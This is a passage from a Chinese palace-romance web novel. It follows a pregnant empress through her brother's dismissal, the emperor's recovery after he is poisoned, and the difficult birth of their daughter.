岑璠走近了些,声音有些颤抖,“你看着我,再说一遍。” 珝儿怎么也再说不出口,鼓起勇气想要再劝劝她,“阿姊,咱们能不能…” 话还没说完,狠狠一巴掌便落在他脸上。 岑璠眼睛红着,那一掌仿佛用尽了所有的力气,而后躬下身子,脸色有些苍白。 槿儿大惊失色,“姑娘…” 槿儿抬起头来,脸上亦有了怒色,“珝儿,那是你和姑娘的母亲,夫人从前是个很好的人,是你不曾见过那样的她,你怎么能这么说她!” “我…”珝儿哑口无言,也不敢在说什么话,心里隐隐有些害怕。 阿姊她还有着身子,这还是皇帝很重视的龙子… “阿姊…” 他上手要去扶,岑璠却打掉他的手,“你滚,滚出宫去!回你的虞家!我没有你这样的弟弟…” 珝儿到底还是认这个阿姊的,阿姊在过去他赌钱时,都不曾说过让他滚这种话… “阿姊,我不是故意的…” 话音刚落,门便被人踢开,元衡自门外而入,看到她捂着肚子,顾不得其他,上前一步抱起她,让人去叫太医。 珝儿呆呆站在原地,不知道该如何。 元衡将她抱到榻上,顾不得旁边有人,蹲下身子帮她脱了鞋,握住她手时,她的手心一片冰凉。 元衡抬起头,盯向珝儿时,眼神冰冷刺骨,藏有杀意。 珝儿哪里见过这样的目光,腿不由自主软了,直直跪在榻前,一言不发。 元衡就这么盯着他,他有一瞬是真的想杀了他, 可他终究也没做什么,他知道她现在分不出神再管这些,他要做错了,她只会更糟… 他的下颌搭在她的头顶,握紧了她的手,紧紧盯向她的裙下,生怕看到那刺眼的鲜红,身子竟也微微颤抖。 好在并没有。 太医来诊过脉,问了几句,有了结论,“娘娘这是心绪不稳,急火攻心所致,臣开服药,娘娘这几日还需在榻上静养…” 元衡道了声知道,却见太医欲言又止。 他眼中的冰冷并未受收起,“还有何事?” 太医身子一震,又拱手道:“陛下恕罪,皇后娘娘现在的身子,不宜…再同房。” 元衡抿了抿唇,道:“知道了,下去配药吧。” 有元衡看着,珝儿便一直跪着,连半个字都没再吐出来。 喝过药后,岑璠心绪也稳当了些。 元衡轻声问她,“你想怎么办?朕都听你的…” 岑璠并未看珝儿,淡淡道:“他不想在宫里,那便让他回虞家吧。” 元衡明白了她的意思,却不敢当着她的面下令,派人备好轿辇,先将她送回含章殿。 她走后,元衡也懒得再同珝儿废话,“收拾你的东西,滚出宫去,别让朕说第二遍。” * 自那日珝儿走后,含章殿变得更安静了。 岑璠静下心来,会在房中画几幅画,话比从前更少了些,紫芯看得出她并不高兴,想了法子逗她笑。她似乎也不想让人太过担心,偶尔陪那几个小姑娘笑一笑。 元衡看得出她太过寂寞,处理完公务便会回含章殿去看她。 这些时日,他也学会说不少好话,变了法子哄她, 这一日,岑璠在房中画的,是前些日槿儿将一只受伤的麻雀放生的场景。 前些日调养过后,她的脸比原来甚至圆润了些,更显雍容,肚子也隆起的愈发明显,身上的衣裳早换了一茬,动作也愈发迟缓了些。 作画坐得久了,腰便酸了。 她下意识去托自己的腰,元衡发现,揽在她身后的手熟练地替她轻轻揉了揉 向往常一样,夸了句,“好看。” 岑璠侧头去看他,道:“陛下就不会夸些别的?” 元衡沉默了,他确实夸不出别的,先帝爱在宫中办雅会,他也从未办过一次。 那些东西,他欣赏不来… 元衡一时心虚,往她脸上啄了一口,没有回答她的问题,反问道:“皎皎怎么开始画人了?” “想学着画了,我想等生完他后,换个和母亲不同的名字,继续画下去。” 元衡颔首,低头看向她。 若是过去,她肯定不会同他说生完孩子的打算。 他能感受到她的变化,这些时日,她似乎在接受了他的亲近。 即使是像刚才那样搂着她的腰,偶尔朝她的脸颊上亲两口,也不会先前那般抗拒,讽他两句。 一切都似乎在向着他想要的方向发展。 只是她身上似乎又少了那么一点东西…… 元衡盯在她身上,一时看不出什么。 岑璠在画上又添了两笔,便看到他失神地看着她。 “陛下在想什么?” 元衡转过头,她手中的笔尖朝向他,差点划到龙袍上。 他放下她手中的笔,握住她的手,道:“没什么,你昨日说的,朕已经办妥了。” 岑璠撇开头,“知道了,陛下没必要告诉我。” 元衡笑了笑,“还在生气?那朕便不说了…” 他的皎皎心软,那黄珝对她如此不敬,她却到底还想着。 不过他也能理解,那毕竟还是她的亲人,虞氏一倒,别说是官途,就是留在洛阳的书院都困难。 她昨日来找他,便是想托他同郑氏说说,能不能让珝儿有机会去郑氏府上念书。 她对那黄珝,实在是太好了… 可她对他的态度也在转变,你看,他这些时日的努力,也并非没有回报。 总有一天,她也会看见他,把他当作她的家人。 他们彼此也可以抱团取暖,相依为命… 她和她肚子里的孩子,是他仅剩的亲人了。 想到此处,元衡缓缓低下身去,竟是枕在了她的腿上。 岑璠抬起臂,手无处安放。 他道:“皎皎若是想画人,孤改日多叫些人来宫里…” 岑璠抿了抿唇,手臂这么僵着也不是办法,便是一手撑在坐榻上,另一只手搭在他的背上。 “没必要,太过刻意便画不好了。” “那便算了。” 元衡调整了一下姿势,又离她近了些,鼻尖贴在了她的肚子上。 他闭上了眼,她身上染着淡淡的花香,让人迷恋又心安。 忽地,她的肚子似是动了动,有什么东西隔着肚皮,在他高挺的鼻梁上轻轻一踹。 第104章 第一百零四章“您的皇后在这里守了您…… 元衡缓缓抬起头来看她,“皎皎,你感觉到了吗?” 岑璠看向他,她确实感觉的到,她肚子里的孩子在动。 那样鲜活的一条生命…。 她看向他,又看向自己肚子里的孩子。 元衡转了头,将耳朵贴在她的肚子上,满眼的温柔,“皎皎,你在笑…” 岑璠愣住一瞬,摸向自己的唇角,竟是真的能摸到那些许的笑意。 她收起几分笑容,手收了回去,元衡立刻握住了她的手,轻轻放在自己的脸上,“皎皎,你也喜欢这个孩子是吗?” 岑璠没有回答他,亦没有躲开他。 两人都似在等着什么,静静没有出声,一直等了很久,元衡才又侧过头去,“他怎么不动了?” “他还小。”岑璠耐心答他,浅笑道:“也兴许是这孩子真的懒吧。” 元衡闭起眼,轻轻在她肚子上一吻,“那便快点长大吧。” 在他出世前,他还有件事,要替她和孩子办好。 * 元衡翌日拟了道圣旨,颁到朝堂之上,一时间激起千层浪。 那百年前立下的去母留子的规矩,就这么被才登基不到几个月的先帝废除了。 谁都看得明白,殿下这是在给皇后和皇后肚子里的孩子铺路。 皇帝并不打算立太子后另娶,而是真的打算认下这个皇后。 百年以来,不论是南边还是北边,都不曾有过平民出身的皇后,即使是先前那位太后,在为婢前也曾是皇室出身,算是贵族的一支。 不论是世家还是贵族,任何一方向来休戚与共,哪一方当了皇后,总有一个群体能得势。 若是出了一个平民皇后,意味着他们以后入宫的女儿,都要在这个皇后手下过活。 他们不会允许这样的事出现。 元衡也清楚他们是什么打算,一想到这些人都在盼着他的皎皎死,想将自己的女儿送进宫养他们的孩子,便觉得面目可憎。 是以在何氏公然站出来,用前朝外戚专政之事引经据典时,元衡将一条白绫亮在了他面前。 “爱卿既是不愿,那便以死明志吧。” 不少人抬起头,瞧见帝王的怒意,又赶紧低下头去,一时间鸦雀无声。 何氏也不曾想新帝会在朝堂上当众赐他白绫,他何氏也算是说的上话的世家,新帝竟在朝堂上要将他当众赐死 其他世家的人分明也这么想,却躲在他身后做缩头乌龟。 何氏也不想当那个出头的,新帝下了这道旨,肯定会有不少人反对,他一人势单力薄,不该急于这一时。 元衡回去后,挑了些能听的事,邀功似的告诉了岑璠。 彼时岑璠正在选衣裳的图样,她的肚子愈发大了,即使再省衣裳,每隔一个月也要送来几身新裁量好的衣裳。 元衡同她挑了几幅图样,低头拢了拢她肚子上的衣裳,“皎皎,朕把那规矩废了,没有人能伤害你们” “这些日除了乳娘她们端来的东西,其他人端来的东西,皎皎都不要吃,太医送来的东西也不要吃。” 岑璠沉默了片刻,她大概知道,元衡为何要这么说。 他下的这道令,不仅仅是废了百年以来的旧规,更是触犯了百年氏族的利益。 将来不论是他,还是身为他皇后的她,都不会好过。 岑璠捧住自己的肚子,她只想要她肚子里的这个孩子平安出世。 元衡还不放心,开弓没有回头箭,他既然在朝堂上说了,往后必然如履薄冰,“还有,往后朕只会让韩泽和周照来传话,其他人若让你去什么地方,皎皎也不要去” “皎皎放心,孤会护你和孩子平安的。” * 就像所有人预料的那样,那去母留子的规矩虽然废除了,朝堂上的气氛却愈发紧张起来。 前几日还只是几个世家官员递上去谏书,杳无音讯后,竟是有几个世家上朝前跪在宫门口。 那一日,元衡并没有上朝,太极殿中也无人。 身穿龙袍的帝王回到含章殿,也不知道同皇后说了什么,含章殿的门关了许久,再出来时,皇帝的眼睛都是红的。 这之后,就连岑璠也感受得到周围的变化。 她身边的宫女,除了芸蚕之外还有几个面熟的,这几日却有两三个人莫名其妙不见了。 背后的原因岑璠知道,便也没有去问元衡。 他回来的时候变得原来越晚,可每次回来后脸上都带着笑,总要贴在她的肚子上听一听。 她肚子里的孩子动的愈发频繁,有些时候踹得狠了,还会踹疼她。 乳娘同她说,孩子在肚子里时一般都会怕父亲,让她同元衡说说这事,兴许他能每日会回来早些… 可那孩子好似很喜欢他,即使他回来时她都准备睡下了,他一凑到她肚子前说上两句话,那孩子就好像能听懂似的,很给面子地动一动。 至于外面那些污糟事,除了那日他踹开门后搂着她毫无形象地哭诉一通,便再也没有传到过她的耳朵中。 她的身子愈发沉,即便再细心照护,双腿也不可避免浮肿起来。 殿前的那棵海棠早已葳蕤葱茏,果实青涩满枝。 这日槿儿搬了小榻在树影下,昨日刚下过一场雨,浇灭了炎热,午时凉风习习,岑璠便是有些犯困。 才刚小憩一会儿,便又被那精力旺盛的孩子折腾醒。 纵使岑璠再耐心,也忍不住皱起了眉。 槿儿扶她起身,岑璠托住肚子,自言自语道:“你能不能乖一些?” 槿儿噗嗤一笑,“姑娘真的越来越像陛下了…” 岑璠愣了愣,觉得槿儿说得也没错。 过去也只有他会同她的肚子这般神神叨叨,自言自语了。 可她自己事到如今,也无法把这个孩子再当成塞在肚子里的东西。 岑璠手撑着床沿坐起身,乳娘扶着她站起来。 “咱们出去走走吧。”岑璠道。 “姑娘忘记了,陛下说这些日咱们不要出殿。” 岑璠抿了抿唇,抬起头看了看那棵海棠树。 “那便在这里走走吧。” 她走出那片树荫,含章殿属于前殿,威严肃穆,元衡前些日子陪她出来,觉得这里太空,特意移过来些花草。 岑璠走到那片盆栽前,指尖触碰兰草,刹那间心里却涌起一阵莫名的心慌,慌到让人晕眩胸闷。 槿儿在一旁给她打扇,乳娘问道:“姑娘怎么了?” 岑璠摇了摇头,肚子里的孩子却好巧不巧踹了她一下。 “你乖点,阿娘现在不舒服…” 她刚说完这句,抬起头来,却是看到韩泽迎面而来。 细细看过去,韩泽的眼中还有些许红。 那种不好的预感又渐渐涌上心头,岑璠皱起眉,问道:“怎么了?” 韩泽憋得满脸通红,似有愤怒和痛楚想要发泄,一直在忍,最后却也只对她说,“娘娘快去太极殿,看看陛下吧…” 岑璠眼睛微动,什么也没问,步子越来越快,随他往外走,乳娘跟在旁边,“姑娘慢点…” 门口抬来了轿辇,槿儿扶着岑璠上轿子,一路穿过显阳殿,去往西边的徽音殿。 殿门大开着,扑面而来便闻到一股血腥味,岑璠胸口愈发觉得压闷,一盆血水被从宫殿内端了出来,那端盆的宫女看到她,似是惊讶,行了一礼。 岑璠提起裙摆,走入殿内,看到一动不动躺在榻上的人,停了脚步,静静伫立了好一阵。 从未见过这样的他。 “发生了什么?”她开口问道。 韩泽嘴颤抖好久,才道:“是毒…是周照下的毒…” “人呢?” “陛下清醒前最后一句话,便是拿下那逆贼,宫里的侍卫找到他时,已经服毒自尽了…” 岑璠记得她向元衡打听过这个太监,当时元衡说,这是他母妃过去身边的太监。 没有想到,这样的人都会害他…。 岑璠走到床前坐下,声音有些哑,“他怎么样了?” “刚才请了太医过来,那药下在茶中,无色无味,药效却猛,好在陛下喝下的并不多,太医来了方子催吐,先前吐出的血都是黑的…” 岑璠抿了抿唇,他的脸上没有一点血色,就那么静静躺着,即使是她自己来了,也不会像平日那样主动贴上来。 “那他什么时候醒过来?” “太医说,若是情况好,当晚便能醒来,若是不好的话,可能就…” “就什么?” “就醒不过来了…” 岑璠看向躺在床上的人,沉默片刻,道:“知道了,下去查事情吧。” 她坐在床边一直守着,晚膳也不曾用,乳娘端进来一碗粥,“姑娘担心陛下,也要顾及肚子里的孩子啊!” 岑璠看了看那碗粥,道:“乳娘去把粥倒了吧,过了今晚再说,一顿不吃饿不着他,没那么娇气。” 乳娘哑口无言,忽然想到什么,低头看了看那碗粥,便是照着岑璠的去做。 直到快亥时,他还没有醒过来。 乳娘又进来劝了劝,“姑娘要不先回去歇息吧…” “我无事。”岑璠道:“今晚待在这里是最好的。” 皇帝被下了毒,今晚宫中会发生什么她实在预料不出,羽林军都在这徽音殿周围守着皇帝,她回到含章殿反倒不安全… 腹中的孩子似能感受到她的忧虑,不安地动了一阵,岑璠极力克制自己的情绪,哄了小的,又去看向大的。 她低声道:“你不是很想要这个孩子吗?他很担心你的。” 即使是这么说,他也没有醒过来。 不过到了后半夜,门外却是传来动静,韩泽向她通报来人。 岑璠正在对面的小榻上睡着,听到声音便醒了过来。 来的是本该在北镇的杨知聿。 岑璠愣了愣,转而便要起身,槿儿给她披了件衣裳,两人一起去开门。 杨知聿见到她在殿内,也有一瞬的惊讶,看了眼她的肚子走进殿内。 岑璠侧开些身子,慢悠悠跟在他身后。 杨知聿走到床边,无奈地叹了口气,“他如何?醒来过吗?” “还没有醒…”岑璠问道:“杨大哥怎么来了?” 杨知聿道:“早些时候,陛下便害怕宫中生变,让我从北面带兵来,没想到,陛下神机妙算,还真赶上了…” 岑璠低下头,有杨知聿在,心里头总算松了口气,头脑仍有些昏沉,半眯着眼睛坐在元衡的榻上。 杨知聿目光落在她的身上,这些时日的动乱他清楚来龙去脉,即便是如此,她依旧在宫里被他养的很好。 她的孩子,这一世终究是保住了。 他瞧了眼她的脸色,道:“娘娘先去榻上歇着吧,陛下若看到娘娘彻夜未眠,想必醒了也是要担心的。” 岑璠颔首,一手撑着床沿就要起身,杨知聿下意识想要去扶。 就在此时,岑璠却觉得自己的衣袖被人拽住。 “你…” 岑璠愣了一瞬,看向那只手,又坐在了榻上,“陛下醒了?” 元衡睁开一点眼睛,黑瞳看向她,而后又用力抬起,看向杨知聿时眉头紧皱,颤抖着手臂抓住了岑璠的手。 “陛下,臣是奉您的旨意才来。”杨知聿提醒道。 闻言,元衡似才想到什么,神色略微缓和些。 “您的皇后在这里守了您一夜。”杨知聿又说道。 岑璠听后,也不禁抬起头。 似觉得自己还在梦中,元衡嘴唇闭起,眼睛微微睁大,重复道:“守了…一夜?” 第105章 第一百零五章就当是朕上辈子欠你的…… 元衡目光移向她,转而又想到什么,有些着急地想起身,“韩泽呢?朕不是说过不要让她知道吗” 杨知聿道:“让娘娘来这儿也好,方才的情形,娘娘留在含章殿也不妥。” 他看了看元衡狼狈的模样,忍不住道:“陛下还是先顾好自个儿吧。” 闻言,元衡紧绷的身子又松了下来,他心绪渐渐平稳,目光又着落在岑璠的脸上。 岑璠对上他楚楚可怜的目光,他脸色苍白,可那双眸中却饱含期待。 这个男人 岑璠撇开目光,道:“陛下醒了便好。” 元衡尽力咧开一个笑,还在等她再多说些,却什么也没等到。 他转而又想到什么,放开她的手,伸向她隆起的腹,有气无力地问道:“你守了一夜,孩子可有闹你?” “无事。”岑璠浅浅笑了笑,“陛下这几日好好修养,顾好自己才是。” 他像是没听进去,断断续续道:“朕没事皎皎放心,你先回去睡会儿” 杨知聿向来知道元衡的倔脾气,也劝道:“娘娘这胎月份也不小了,还是小心些的好,这里有臣守着,无碍的。” 岑璠站起身地走出殿门。 杨知聿将她送了出去,岑璠问道:“杨大哥觉得是谁下的毒?” 杨知聿笑了笑,“皇后娘娘聪慧,这么问在下,不是心里已经有答案了吗?” 岑璠沉默了片刻,道出心中的猜想:“是杨氏,对吗?” 杨知聿道:“那位姓周的公公,过去是杨太后身边的人,如今看来,这么多年应当是与杨氏没有断来往。” “杨大哥,我想问你个问题。” 杨知聿上前一步,“娘娘但说无妨。” “我想问杨大哥,上一世陛下和杨氏是什么关系?” “是你死我活的关系。” “那最后谁赢了?” “是殿下。”杨知聿言毕,又摇了摇头,“准确说来,是两败俱伤,没有什么赢家。” “不过娘娘放心,这一世很多事都变了,臣也相信,陛下能处理好。” * 元衡醒后,当晚又来了不少太医诊治,杨知聿细细检查过药材,盯着人熬了汤药送进殿内。 翌日,岑璠去见元衡时,他虽然还躺在榻上,可脸色明显缓了过来许多。 元衡屏退了其他人,缓缓移开一些,“皎皎,你过来坐” 那声音 听起来还十分虚弱,岑璠依言走到榻前坐下,问道:“陛下如何了?” 元衡轻轻一笑,“太医说已经无碍,…。” “皎皎呢?回去后可有睡好?” 岑璠颔首,元衡看向她,手伸了出来,“好久没和他说话了” 岑璠无奈道:“陛下说笑,才一日不见而已。” 元衡的手还是坚持碰向她的肚子,“那也很久了。” 岑璠低头看着,她也不确定,肚子里的这个孩子被自己的父皇如此重视,到底是不是幸事 “殿下当真这么在乎这个孩子吗?” “当然在乎。”元衡抬头看她,认真道:“这可是咱们的孩子” 他眼睛有些红润,话语中透着执念,却坚定又温暖,“皎皎放心,朕会好好活着,看着咱们的孩子长大成人” 岑璠听到这句,心底竟也隐隐泛起酸涩。 这对于普通的夫妇而言,该是多么普通的愿望,可对于他们而言,却又是多么艰难 “其实这几日,我在想孩子的名字,还没来得及给你说…”元衡手掌轻轻覆在她的肚子上,“这一辈的孩子名中都带草木,朕想若是这孩子是个男孩,便叫他清樾…你觉得怎么样?” “好名字。”岑璠接着问道:“那若是个闺女呢?” “闺女的名字朕也想过,本来想起‘栖梧’这个名字,后来想了想觉得不好。咱们的闺女,该是这天底下最尊贵的公主,何须栖于梧桐。” “后来想了想,不如叫她萦芑好…” “萦芑…”岑璠轻喃,将名字又回味了一番,“殿下用心了。” 她不吝赞辞,元衡还没来得及回应一个笑容,便骤然又咳嗽起来。 岑璠赶紧站起身,叫来太医。 他并无大碍,只是身体虚弱,还需要卧床静养。 太医诊过后,岑璠坐在他一旁,久久未离开。 元衡回了她一个笑容,“皎皎不必担心,这都是朕该做的,你就当朕上辈子欠你的…” 岑璠眉头轻轻皱起,似在思索着什么,元衡还没等来下一句,便有人在门外通报。 杨知聿紧接着进了殿,昨日她离开不久后,宫外便有异动,杨知聿带兵出宫,一直未归… 岑璠见二人有事要议,便出去了。 两殿一东一西,离得其实并不算远,岑璠未乘轿辇,步行而归。 她仰起头看了看远处巍峨宫墙,竟一时有些迷茫。 她无声轻喃,“若是以后阿娘想走,你和你阿爹会不会生气?” 肚子里的孩子好似什么都能听懂,岑璠一说完后,便踢了她一下。 岑璠愣了愣,手缓缓垂下,“阿娘知道了…” 自岑璠怀上这孩子后,还没怎么在宫中走一走,她缓步而行,四处富丽堂皇。 若是这些宫殿能再矮一些就好了,这样她也许真的能把这里当成家…。 她轻叹,沿宫道一路走过,显阳殿立于中轴,那是先帝常住的地方,如今仅是远看,都看不出什么人气。 可现在宫殿上却是站了一个人。 岑璠还记得,那是先帝的贵嫔,如今的太妃,也是六皇子的生母,臂间还托着一个半大的孩子。 那目光遥远,好像盯在她身上,岑璠转过身去,同她对视片刻便移开了目光。 她记得那太妃曾经和皇后交好,还曾在宴席上和皇后一起为难过她。 岑璠总觉得远处女人有话想要对她说,可她没有理会。 话不投机,多说无益处。 她抬起步子,走出几步,却听到身后一阵脚步声。 “谁从阶上摔下来了!” “是太妃!是太妃” 岑璠脚步顿住,眼睛逐渐睁大,伫立许久也没有回头,渐渐觉得手脚冰凉,连带腿肚也有些酸痛,有些站不稳。 墨群走到她身边,“娘娘先乘轿辇回宫吧。” 岑璠点了点头,不过片刻,便有一辆轿辇停在了面前。 她坐上轿辇,始终都没有再回头看 这些时日,岑璠总是梦到一个女人。 女人时而身穿白衣,时而身披宫装,时而还抱着一个孩子 在她梦中,那女人总是会重复一句话,“留在宫里,总会摔倒的。” 说罢,女人便向前走去,任凭岑璠怎么在一旁叫都听不见。 忽然,那女人跌落高台,直直跌到了万阶之下,鲜血淋漓,白裙被染成了血红色。 那女子伸出血淋淋的手,努力向上爬,托出一道血痕,岑璠想退却无路可退,眼睁睁看着女子爬了上来。 女人抬头,露出一张惨白的脸,那张脸的面孔,和她一模一样 岑璠蓦地睁开了眼,腿脚一阵抽疼。 解毒后的第二日,元衡便搬回了含章殿,如今过了两个多月,已无什么大碍,只是有时胃口欠佳。 岑璠醒来时踢了他一下,元衡很快便睁开了眼睛。 她还有不到一个月便要生了,这几日元衡常常睡不安,生怕她半夜忽然要发动,而他没有听见,有时候盯着她的肚子,一看便是半宿。 元衡见她醒着,坐起身来,“皎皎可是觉得哪里难受?” 这些时日,她胎动的愈发剧烈,甚至有的时候可以隔着肚皮看到那孩子踢她的脚印。 失去了初时的惊喜,元衡只觉得心惊胆颤。 他问道:“可是腿又疼了?” 岑璠点了点头,元衡二话不说,掀开她身上的被子,抬起她肿胀的腿,捏的熟练。 岑璠闭上眼,感觉那根被别住的筋舒展开不少。 元衡手下不停,注意着她的神色,“皎皎可是又做了那个梦?” “是…” 她又梦到了那云太妃了,槿儿说周照下毒有云太妃的参与,畏罪自杀,自高台跌落,以此保全六皇子。 “都是假的。”元衡捏着她的腿,淡淡道:“没有人能害你。” 说罢,他手又覆在她的脚上,“我再给你揉揉,能睡得好些,如何?” 她的脚被握在他掌心,带着薄茧的手指按压在穴位上,岑璠起初并不习惯,可渐渐每个晚上他都会如此,便是怎么都习惯了。 凉秋静谧,一如很多个夜晚,他轻轻揉着,岑璠躺在那里,额头上出了些薄汗。 他将她的腿放下,拉了被子来,就要躺下,又问道:“要不要朕帮你翻个身?” 一个多月前她便是睡觉翻身都困难,这也是元衡常做的事。 岑璠托起肚子,元衡便是明白是什么意思,托住她的腰背,帮她翻过身去侧躺她。 她背对着他,从背后都能看清被子下包裹的肚子。 终归是太辛苦了些。 还有即将一个月,他们将要为人父母,元衡这些时日总在想,自己该怎么做好一个父亲。 他想让这个孩子无忧无虑的长大,不要再像他一样,哪怕是在宫里。 归根到底,只要他不纳妃,不沾染上其他的女人,其实这些问题能迎刃 而解。 她似乎因为这个孩子,也不打算走了… 元衡也转过身,握住她搭在肚子上的那只手,“皎皎快睡吧。” * 翌日,岑璠照常出门晒太阳。 一场晨雨后,秋高气爽,宫中阳光正好,琉璃闪烁斑斓。 槿儿扶着她,岑璠走得远了些,就要走出殿门时,却是看见一个孩童。 孩童正靠着殿门,坐在门槛上玩手,周旁无人照料,也无人驱逐。 岑璠总觉得那孩童在哪里见过,细细一想,这般半大孩子,能在她的殿前这般自由,约莫也只有那没了生母的渠王,先帝的六皇子。 那云太妃畏罪自戕,可元衡到底没有追究手足。 岑璠多看了几眼,其实她肚子里的孩子,和先皇帝最小的皇子,也不过差了一岁。 这个孩子还在她肚子里,可再过一两年也会长成这般大的孩童。 岑璠走近了些,想要多问他些事,譬如他为何在这里,他身旁的宫人在哪里,可又觉得这般大的孩子约莫是听不懂。 她慢慢俯身,想要仔细看看那孩子,却发现自己弯腰也困难。 与此同时,隔着一道墙,传来一道声音。 “皇后娘娘的胞弟,真的假的?” “我这不也才听说,你说也真是的,陛下对娘娘的胞弟也算得上纵容,这虞氏刚没了官,也不知道怎么想的,死活要回虞家…” “这回去也就罢了,还要出去赌,没有陛下和娘娘照拂,欠了钱哪有不还的道理…” 那声音越说越弱,岑璠却大抵听明白了。 槿儿心中一惊,率先跨过门槛,喊了一声,“在宫里乱嚼什么舌根!留渠王殿下一个坐在这里,万一出了什么事,我看你们怎么交代!” 岑璠站直身子,缓缓走出宫门,她侧过头去,便是看到一个脸生的嬷嬷正和自己宫里的奴婢说着什么。 两人看到岑璠,对视一眼,都闭紧了嘴。 “你们刚才在说什么?” 两人低下头,不肯多说一句。 “本宫问你们刚才说什么!珝儿他做什么了?” 那宫女在含章殿当差,知道这位皇后从来不曾有过架子,即便是这宫中唯一的嫔妃,连生下来的孩子都是铁板钉钉的尊贵,也从未称自己为本宫。 她面色惨白,连忙跪了下来,神色慌张地坦白,“是娘娘…娘娘的胞弟…前几日虞氏公子去赌坊输了钱,被赌坊的人扣了下来…” 宫女想到什么,抬头又补充道:“不过娘娘放心,殿下今日已经派了人去赌坊将人要回来了,想必没什么大碍…” 岑璠一言未发,宫女见了,额抵在地上,什么都没有再说。 “怎么可能…”岑璠轻喃,呼吸错乱起来,眼睛左右微动。 渐渐地,她皱起眉,就连嘴唇也变得苍白。 眼前模糊一片,似乎整个宫墙都在眼前晃动,身上仿佛压了重石,疼痛感忽然袭来。 那痛感像是要将人撕裂一般,岑璠只觉得喘不上气,直直倒下。 第106章 第一百零六章她看过孩子没有?…… “娘娘!” 岑璠倒下时听到一阵惊呼声,她浑身颤抖,可身上的疼痛却越来越剧烈,钻到骨头里的疼,都要背过气去。 忽然,她感觉到了裙摆底下一阵湿润。 槿儿掀开她的裙摆,睁大了眼睛,“姑娘要生了” 周围似是越来越乱,着急的,恐惧的,还有小孩子的哭声混杂,岑璠心愈发慌乱,起初时而想到珝儿,时而想到自己腹中的孩子,后来便是无法思考。 有人将她扶起来些,肚子就像是被揪起一块儿肉一般,压在腰腹上。 岑璠扶起肚子,忍不住小声呻吟出声。 槿儿后头还跟了几个宫女,她回头道:“快去叫太医!” 说罢,有宫女缓过神来,迈开腿便去叫人。 人越来越多,慌乱之中,岑璠抓紧了槿儿的袖子,几个人想将她抬进屋,忽然有人挤进人群,将她打横抱起。 那人的脚步极快,像是生了风,声音颤抖地不成形,“皎皎莫怕,先别睡…” 岑璠疼得无法言语,躺在床上,尽量保持清醒。 元衡握住她的手,顾不得什么帝王威严,俯身靠近她,那声音听起来竟像是要哭了一般,“皎皎,你若是疼便抓紧朕。” 岑璠不曾犹豫,捏住他的手,指甲盖都捏成了白色。 很快,太医院众人鱼贯而入,太医首诊过脉,神色凝重,叫人煮药熏香,往她穴位上施针。 元衡自始至终没有离开,紧紧盯着她,手抖得不成样子,却执意接过紫芯手中的帕子,不厌其烦给她擦额上的冷汗。 “皎皎莫怕,朕在这儿…” 房内乱成一团,乳娘备来鸡蛋和热糖水,神色为难,“陛下可愿意先去外面?您在这里,姑娘可能不好生…” “老奴算是姑娘的半个母亲,有老奴在,殿下大可放心。” 元衡也觉得自己没用,自从当了这帝王,他处处谨慎,可就在刚刚看到她摔在地上时,还是不受控制的慌乱。 他不知道如何才能帮她缓解痛楚,或许就像乳娘说的,他只有出去的份。 她讨厌他,或许分过神来,还会怨他让她受这一遭。 元衡低下了头,从她怀孕到现在,第一次产生了一种羞愧感。 “朕听乳娘的,您照顾好她。” 他客客气气地同乳娘说,放开岑璠的手,三步两回头地缓步离开产房。 他没有出去,只隔了一道屏风,搬了把胡椅,对着那扇屏风默声静坐。 时间凝固起来,流逝得缓慢,她的声音愈发清晰,近乎在嘶喊,像是受了很大的折磨。 元衡平生害过很多人,那些人他并不放在心上,可听到她这般声音,却生出前所未有的负罪感。 是他害了她,害她这般… 他静静听着,脑海中像是出现了幻觉,隐隐约约似看到一女子独自在一间黑漆漆的矮屋中,身下全是血。 那女子的声音和她的嘶喊混在一起,像一把铁锥扎在他胸口。 元衡头越来越低,恍惚地站起身,晃晃悠悠往殿外走。 烈阳之下还跪着一个嬷嬷和宫女,元衡见到两人,面上的惶恐骤然消失,眼眸中似有一把嗜血的斧刀,寒芒刺骨。 韩泽守着两人,纵使此时无关乎他,也不禁打了个寒战。 自陛下登基后,他已经许久没过见到过陛下这般,即使是陛下自个儿被下毒也没有… 陛下把娘娘的命看得比自己的命还重,这是好事,也是坏事。 元衡看着两人,漠然开口,“怎么还将人留在这里?” 韩泽拱手,不敢答错,“惊扰娘娘是大罪,如何处置还请陛下定夺。” 元衡斜了他一眼,淡然道:“当然是诛九族,还能是什么?” 两人俱抬起头来,瞪大了眼睛。 当今圣上施仁政,比起先前那位还仁慈前,即便是那云太妃参与下毒,也未祸及家里。 能进宫的宫女到底也出身氏族,那宫女怎么也想不明白,自己不过是平日爱和嬷嬷多说几句,如何能诛九族。 宫女摇头,“陛下,奴婢冤枉!” 元衡目光移向一旁的嬷嬷,“你呢?有什么想说?” 那嬷嬷脸色也早已变得惨白,“陛下息怒,老奴也是被逼着这么做的…” “息怒?”元衡重复了一声,忽然拔出韩泽腰间的剑,剑尖停在了嬷嬷的脖间。 他手中的剑握不稳,却是渐渐往里刺,嬷嬷如树皮般枯皱的脖上瞬间渗出血。 “你叫朕息怒?” 那剑尖压在喉咙上,嬷嬷说不出话,一动不敢动,她丝毫不怀疑,她再动一下,那刀尖会将自己的喉咙彻底切开。 元衡手越握越紧,看着那张平平无奇的苍老面容,越看越觉得可憎,眼底触目惊心的红。 就要挥刀而下,元衡却想到什么,回头看了看大殿,那杀意刹那间收回来几分。 “把这二人拖出宫去,斩首示众。” 韩泽低头,没有阻拦,答了声“是”。 如今已是晚秋,一场秋雨后更显寒。 元衡站在门外离门不远的地方,时而踱步,可更多时候只是静静站着,即便是再不怕冷,手也冻红了。 韩泽劝他进去,元衡显然听不进去。 韩泽无奈,只好拿来一件厚些的狐裘,陪他在门外等着。 这胎本还有半个多月才够足月,如今突逢变故,生的着实艰难。 渐渐的,天都黑了下来。 一碗碗药往殿中端,时不时端出一盆血水,元衡怔怔看着,嘴唇苍白干裂。 殿内起初传来的嘶喊声,站在外面都能听见,后来弱了许久。 到夜沉下来时,连声音都听不到了。 殿内点起灯火,外面清冷寂静,笼罩下来的,是一片茫然与恐惧。 元衡愈发不安,眼神不定,忽地上前一步,耳朵贴在门上。 什么声音也听不到。 “怎么听不见声音了…”他自言自语一句,而后不由分说推开门。 门内的清形依旧称得上忙乱,隔着屏风传来很多道声音,可就是没有她的。 恐惧满上心头,覆盖住一切,元衡拖着沉重的步子,问道:“她怎么了?皎皎她怎么没声音了?…” 话音刚落,屏风内便传来一阵声嘶力竭的喊,继而清脆的啼哭声响起。 元衡停住了脚步。 “生了!娘娘生了个小公主!” 